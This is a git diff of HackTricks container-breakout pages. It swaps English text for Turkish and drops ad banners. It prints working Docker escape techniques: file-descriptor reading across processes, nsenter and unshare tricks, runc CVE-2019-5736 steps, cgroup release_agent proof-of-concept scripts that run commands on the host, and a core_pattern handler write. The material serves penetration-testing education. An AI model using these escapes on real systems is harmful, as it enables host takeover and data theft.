Diğer süreçlerin dosya tanımlayıcılarına da **erişebilir ve açık dosyalarını okuyabilirsiniz**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
@ -455,91 +412,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
||||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
|
||||
You can also **kill processes and cause a DoS**.
|
||||
Ayrıca **işlemleri sonlandırabilir ve bir DoS oluşturabilirsiniz**.
|
||||
|
||||
> [!WARNING]
|
||||
> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
|
||||
> Eğer bir şekilde **kapsayıcı dışındaki bir işleme ayrıcalıklı erişiminiz varsa**, `nsenter --target <pid> --all` veya `nsenter --target <pid> --mount --net --pid --cgroup` gibi bir şey çalıştırarak **o işlemin aynı ns kısıtlamalarıyla** (umarım hiç yok) **bir shell çalıştırabilirsiniz.**
|
||||
|
||||
### hostNetwork
|
||||
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
Eğer bir konteyner Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/) ile yapılandırılmışsa, o konteynerin ağ yığını Docker ana bilgisayarından izole değildir (konteyner, ana bilgisayarın ağ ad alanını paylaşır) ve konteynerin kendi IP adresi tahsis edilmez. Diğer bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, **ana bilgisayarın** paylaşılan arayüzde gönderdiği ve aldığı Tüm ağ trafiğini **yakalayabilir** `tcpdump -i eth0`.
|
||||
|
||||
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
|
||||
Örneğin, bunu **ana bilgisayar ile metadata örneği arasında trafiği yakalamak ve hatta sahte trafik oluşturmak** için kullanabilirsiniz.
|
||||
|
||||
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
|
||||
|
||||
Like in the following examples:
|
||||
Aşağıdaki örneklerde olduğu gibi:
|
||||
|
||||
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
|
||||
|
||||
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access).
|
||||
Ayrıca, ana bilgisayar içindeki **localhost'a bağlı ağ hizmetlerine** erişebilecek veya **düğümün metadata izinlerine** (bir konteynerin erişebileceğinden farklı olabilir) erişebileceksiniz.
|
||||
|
||||
### hostIPC
|
||||
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
`hostIPC=true` ile, ana bilgisayarın süreçler arası iletişim (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** erişimi kazanırsınız. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya pod süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha fazla incelemek için `ipcs` komutunu kullanın.
|
||||
|
||||
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further.
|
||||
- **/dev/shm'yi incele** - Bu paylaşılan bellek konumundaki dosyaları kontrol edin: `ls -la /dev/shm`
|
||||
- **Mevcut IPC tesislerini incele** – Herhangi bir IPC tesisinin kullanılıp kullanılmadığını kontrol etmek için `/usr/bin/ipcs` komutunu kullanabilirsiniz. Bunu kontrol edin: `ipcs -a`
|
||||
|
||||
- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
|
||||
- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
|
||||
|
||||
### Recover capabilities
|
||||
|
||||
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
|
||||
### Yetenekleri geri kazanma
|
||||
|
||||
Eğer sistem çağrısı **`unshare`** yasaklanmamışsa, tüm yetenekleri geri kazanabilirsiniz:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### Kullanıcı ad alanı istismarı yoluyla symlink
|
||||
|
||||
### User namespace abuse via symlink
|
||||
Gönderide açıklanan ikinci teknik [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) kullanıcı ad alanları ile bind mount'ları nasıl istismar edebileceğinizi, host içindeki dosyaları etkilemek için (bu özel durumda, dosyaları silmek) göstermektedir.
|
||||
|
||||
The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
|
||||
## CVE'ler
|
||||
|
||||
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
### Runc istismarı (CVE-2019-5736)
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Eğer `docker exec` komutunu root olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'dan yararlanarak bir konteynerden kaçış yaparak ayrıcalıkları yükseltmeye çalışırsınız (istismar [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **/bin/sh** ikili dosyasını **host**'tan **bir konteynerden** **üstüne yazacaktır**, bu nedenle docker exec komutunu çalıştıran herkes yükü tetikleyebilir.
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
## CVEs
|
||||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
|
||||
|
||||
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
|
||||
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
|
||||
Yükü buna göre değiştirin ve `go build main.go` ile main.go dosyasını derleyin. Ortaya çıkan ikili dosya, yürütme için docker konteynerine yerleştirilmelidir.\
|
||||
Yürütme sırasında, `[+] Overwritten /bin/sh successfully` mesajını gösterdiği anda, host makinesinden aşağıdakini çalıştırmalısınız:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
|
||||
This will trigger the payload which is present in the main.go file.
|
||||
Bu, main.go dosyasında bulunan yükü tetikleyecektir.
|
||||
|
||||
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
> [!NOTE]
|
||||
> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
> Konteynerin savunmasız olabileceği diğer CVE'ler de vardır, bir listeyi [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulabilirsiniz.
|
||||
|
||||
## Docker Custom Escape
|
||||
## Docker Özel Kaçış
|
||||
|
||||
### Docker Escape Surface
|
||||
### Docker Kaçış Yüzeyi
|
||||
|
||||
- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs).
|
||||
- **Root user**: By default the user running the process is the root user (however its privileges are limited).
|
||||
- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape.
|
||||
- **Ad Alanları:** Süreç, ad alanları aracılığıyla **diğer süreçlerden tamamen ayrılmış olmalıdır**, bu nedenle ad alanları nedeniyle diğer süreçlerle etkileşimde bulunarak kaçış yapamayız (varsayılan olarak IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer süreçlerin `/proc`'u aracılığıyla iletişim kuramaz).
|
||||
- **Root kullanıcı**: Varsayılan olarak süreci çalıştıran kullanıcı root kullanıcısıdır (ancak ayrıcalıkları sınırlıdır).
|
||||
- **Yetenekler**: Docker aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
- **Syscalls**: Bu, **root kullanıcısının çağıramayacağı** syscalls'dır (yeteneklerin eksikliği + Seccomp nedeniyle). Diğer syscalls kaçış yapmaya çalışmak için kullanılabilir.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="x64 syscalls"}}
|
||||
|
||||
```yaml
|
||||
0x067 -- syslog
|
||||
0x070 -- setsid
|
||||
@ -560,11 +502,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
|
||||
0x140 -- kexec_file_load
|
||||
0x141 -- bpf
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="arm64 syscalls"}}
|
||||
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
@ -582,11 +522,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
|
||||
0x111 -- finit_module
|
||||
0x118 -- bpf
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="syscall_bf.c"}}
|
||||
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
@ -598,31 +536,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
|
||||
|
||||
int main()
|
||||
{
|
||||
for(int i = 0; i < 333; ++i)
|
||||
{
|
||||
if(i == SYS_rt_sigreturn) continue;
|
||||
if(i == SYS_select) continue;
|
||||
if(i == SYS_pause) continue;
|
||||
if(i == SYS_exit_group) continue;
|
||||
if(i == SYS_exit) continue;
|
||||
if(i == SYS_clone) continue;
|
||||
if(i == SYS_fork) continue;
|
||||
if(i == SYS_vfork) continue;
|
||||
if(i == SYS_pselect6) continue;
|
||||
if(i == SYS_ppoll) continue;
|
||||
if(i == SYS_seccomp) continue;
|
||||
if(i == SYS_vhangup) continue;
|
||||
if(i == SYS_reboot) continue;
|
||||
if(i == SYS_shutdown) continue;
|
||||
if(i == SYS_msgrcv) continue;
|
||||
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
|
||||
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
|
||||
printf("Error\n");
|
||||
else
|
||||
printf("OK\n");
|
||||
}
|
||||
for(int i = 0; i < 333; ++i)
|
||||
{
|
||||
if(i == SYS_rt_sigreturn) continue;
|
||||
if(i == SYS_select) continue;
|
||||
if(i == SYS_pause) continue;
|
||||
if(i == SYS_exit_group) continue;
|
||||
if(i == SYS_exit) continue;
|
||||
if(i == SYS_clone) continue;
|
||||
if(i == SYS_fork) continue;
|
||||
if(i == SYS_vfork) continue;
|
||||
if(i == SYS_pselect6) continue;
|
||||
if(i == SYS_ppoll) continue;
|
||||
if(i == SYS_seccomp) continue;
|
||||
if(i == SYS_vhangup) continue;
|
||||
if(i == SYS_reboot) continue;
|
||||
if(i == SYS_shutdown) continue;
|
||||
if(i == SYS_msgrcv) continue;
|
||||
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
|
||||
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
|
||||
printf("Error\n");
|
||||
else
|
||||
printf("OK\n");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
````
|
||||
|
||||
{{#endtab}}
|
||||
@ -633,12 +572,12 @@ int main()
|
||||
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
|
||||
|
||||
- Find the **path of the containers filesystem** inside the host
|
||||
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
|
||||
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
|
||||
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
|
||||
- You should be able to **execute the trigger from inside the host**
|
||||
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
|
||||
- You should be able to **execute the trigger from inside the host**
|
||||
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
|
||||
- Have **enough capabilities and disabled protections** to be able to abuse that functionality
|
||||
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
|
||||
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
|
||||
|
||||
## References
|
||||
|
||||
@ -650,11 +589,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
|
||||
|
||||
Original PoC:
|
||||
**Daha fazla ayrıntı için, lütfen** [**orijinal blog yazısına**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** bakın.** Bu sadece bir özet:
|
||||
|
||||
Orijinal PoC:
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Kavram kanıtı (PoC), cgroups'u istismar etmek için bir `release_agent` dosyası oluşturarak ve bunun çağrılmasını tetikleyerek konteyner ana bilgisayarında rastgele komutlar çalıştırma yöntemini göstermektedir. İşte ilgili adımların bir dökümü:
|
||||
|
||||
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
|
||||
|
||||
1. **Prepare the Environment:**
|
||||
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
|
||||
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
|
||||
|
||||
1. **Ortamı Hazırlayın:**
|
||||
- `/tmp/cgrp` dizini, cgroup için bir montaj noktası olarak hizmet vermek üzere oluşturulur.
|
||||
- RDMA cgroup denetleyicisi bu dizine monte edilir. RDMA denetleyicisi yoksa, alternatif olarak `memory` cgroup denetleyicisinin kullanılması önerilir.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
|
||||
2. **Set Up the Child Cgroup:**
|
||||
- A child cgroup named "x" is created within the mounted cgroup directory.
|
||||
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
|
||||
|
||||
2. **Çocuk Cgroup'u Kurun:**
|
||||
- Montajlı cgroup dizini içinde "x" adında bir çocuk cgroup oluşturulur.
|
||||
- "x" cgroup'u için notify_on_release dosyasına 1 yazarak bildirimler etkinleştirilir.
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
|
||||
3. **Configure the Release Agent:**
|
||||
- The path of the container on the host is obtained from the /etc/mtab file.
|
||||
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
|
||||
|
||||
3. **Release Agent'ı Yapılandırın:**
|
||||
- Konteynerin ana makinedeki yolu /etc/mtab dosyasından alınır.
|
||||
- Ardından cgroup'un release_agent dosyası, elde edilen ana makine yolunda bulunan /cmd adlı bir betiği çalıştıracak şekilde yapılandırılır.
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
|
||||
4. **Create and Configure the /cmd Script:**
|
||||
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
|
||||
|
||||
4. **/cmd Scriptini Oluşturun ve Yapılandırın:**
|
||||
- /cmd scripti konteyner içinde oluşturulur ve ps aux komutunu çalıştıracak şekilde yapılandırılır, çıktıyı konteynerde /output adlı bir dosyaya yönlendirir. /output'un ana makinedeki tam yolu belirtilir.
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
|
||||
5. **Trigger the Attack:**
|
||||
- A process is initiated within the "x" child cgroup and is immediately terminated.
|
||||
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
|
||||
|
||||
5. **Saldırıyı Tetikleme:**
|
||||
- "x" çocuk cgroup içinde bir işlem başlatılır ve hemen sonlandırılır.
|
||||
- Bu, `release_agent`'i (the /cmd script) tetikler, bu da host üzerinde ps aux komutunu çalıştırır ve çıktıyı konteyner içindeki /output'a yazar.
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,27 +1,26 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
|
||||
Daha fazla detay için **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** adresindeki blog gönderisine göz atın. Bu sadece bir özet:
|
||||
|
||||
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
|
||||
Teknik, **bir konteyner içinden ana makine kodunu çalıştırma** yöntemini özetlemektedir ve Kata Containers veya belirli `devicemapper` ayarları gibi konteynerin dosya sistemi yolunu ana makinede gizleyen depolama sürücüsü yapılandırmalarının getirdiği zorlukları aşmaktadır.
|
||||
|
||||
Key steps:
|
||||
Ana adımlar:
|
||||
|
||||
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
|
||||
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
|
||||
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
|
||||
1. **İşlem Kimliklerini (PID) Bulma:** Linux sahte dosya sistemindeki `/proc/<pid>/root` sembolik bağlantısını kullanarak, konteyner içindeki herhangi bir dosyaya ana makinenin dosya sistemi ile ilgili olarak erişilebilir. Bu, konteynerin ana makinedeki dosya sistemi yolunu bilme gereğini ortadan kaldırır.
|
||||
2. **PID Kırma:** Ana makinedeki PID'leri aramak için bir kaba kuvvet yaklaşımı kullanılır. Bu, `/proc/<pid>/root/<file>` yolunda belirli bir dosyanın varlığını sırasıyla kontrol ederek yapılır. Dosya bulunduğunda, ilgili PID'nin hedef konteyner içinde çalışan bir işleme ait olduğunu gösterir.
|
||||
3. **Çalıştırmayı Tetikleme:** Tahmin edilen PID yolu `cgroups release_agent` dosyasına yazılır. Bu işlem, `release_agent`'in çalıştırılmasını tetikler. Bu adımın başarısı, bir çıktı dosyasının oluşturulup oluşturulmadığını kontrol ederek doğrulanır.
|
||||
|
||||
### Exploitation Process
|
||||
### Sömürü Süreci
|
||||
|
||||
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
|
||||
Sömürü süreci, konteyner içinde çalışan bir işlemin doğru PID'sini tahmin ederek ana makinede bir yük çalıştırmayı amaçlayan daha ayrıntılı bir eylem setini içerir. İşte nasıl gelişir:
|
||||
|
||||
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
|
||||
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
|
||||
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
|
||||
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
|
||||
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
|
||||
|
||||
PoC from the blog post:
|
||||
1. **Ortamı Başlat:** Ana makinede bir yük betiği (`payload.sh`) hazırlanır ve cgroup manipülasyonu için benzersiz bir dizin oluşturulur.
|
||||
2. **Yükü Hazırlama:** Ana makinede çalıştırılacak komutları içeren yük betiği yazılır ve çalıştırılabilir hale getirilir.
|
||||
3. **Cgroup'u Ayarlama:** Cgroup monte edilir ve yapılandırılır. Yükün cgroup serbest bırakıldığında çalıştırılmasını sağlamak için `notify_on_release` bayrağı ayarlanır.
|
||||
4. **PID'yi Kaba Kuvvetle Kırma:** Bir döngü, potansiyel PID'ler arasında döner ve her tahmin edilen PID'yi `release_agent` dosyasına yazar. Bu, yük betiğini `release_agent` olarak ayarlar.
|
||||
5. **Çalıştırmayı Tetikleme ve Kontrol Etme:** Her PID için, cgroup'un `cgroup.procs` dosyasına yazılır, eğer PID doğruysa `release_agent`'in çalıştırılmasını tetikler. Yük betiğinin çıktısı bulunana kadar döngü devam eder, bu da başarılı bir çalıştırmayı gösterir.
|
||||
|
||||
Blog gönderisinden PoC:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
@ -81,5 +80,4 @@ sleep 1
|
||||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,182 +1,174 @@
|
||||
# Sensitive Mounts
|
||||
# Hassas Montajlar
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
`/proc` ve `/sys` dizinlerinin uygun ad alanı izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızıntısı gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilere yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edildiğinde, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir.
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
**Her potansiyel zafiyetin daha fazla detayını bulabilirsiniz** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
|
||||
|
||||
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
## procfs Vulnerabilities
|
||||
## procfs Zafiyetleri
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern:
|
||||
Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini değiştirme izni verir ve birkaç endişe verici alt dizin içerir:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`.
|
||||
- **Testing and Exploitation Example**:
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) içinde tanımlanmıştır.
|
||||
- Çekirdek dosyası oluşturulduğunda çalıştırılacak bir program tanımlamaya izin verir; ilk 128 bayt argüman olarak kullanılır. Dosya bir boru `|` ile başlarsa, kod yürütmeye yol açabilir.
|
||||
- **Test ve Sömürü Örneği**:
|
||||
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
|
||||
